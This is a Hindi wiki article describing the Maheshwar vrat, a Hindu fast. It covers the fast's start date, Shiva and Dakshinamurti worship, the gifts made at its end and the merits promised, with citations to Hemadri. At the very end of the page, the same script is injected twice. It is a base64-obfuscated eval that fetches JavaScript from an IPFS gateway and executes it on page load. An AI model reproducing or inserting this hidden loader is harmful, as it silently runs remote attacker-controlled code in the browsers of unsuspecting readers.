महेश्वर व्रत

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
लक्ष्मी गोस्वामी (चर्चा | योगदान) द्वारा परिवर्तित ०५:५०, १३ जनवरी २०११ का अवतरण
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
नेविगेशन पर जाएँ खोज पर जाएँ
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लखित हिन्दू धर्म का एक व्रत संस्कार है।
  • यह व्रत फाल्गुन शुक्ल चतुर्दशी से प्रारम्भ होता है।
  • उस दिन उपवास एवं शिव पूजा; अन्त में गोदान किया जाता है।
  • यदि यह व्रत वर्ष भर किया जाए तो 'पौण्डरीक यज्ञ' की फल प्राप्ति होती है।
  • यदि यह व्रत मास की दोनों चतुर्दशियों पर किया जाय तो सभी कामनाओं की पूर्ति होती है।[१]
  • दक्षिणा मूर्ति को वर्ष भर प्रतिदिन पायस एवं घी का अर्पण करना चाहिए।
  • अन्त में उपवास; भूमि, गाय एवं पलंग का दान करना चाहिए।
  • ऐसी मान्यता है कि नन्दी (शिव वाहन) की स्थिति की प्राप्ति होती है।[२];
  • दक्षिणा मूर्ति शिव का एक रूप है;।
  • शंकराचार्य की लिखित 'दक्षिणामूर्तिस्तोत्र '(19 श्लोकों में) की बात कही जाती है।


टीका टिप्पणी और संदर्भ

  1. हेमाद्रि (व्रतखण्ड 2, 152);
  2. हेमाद्रि (व्रतखण्ड 1, 867, स्कन्द पुराण से उद्धरण)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>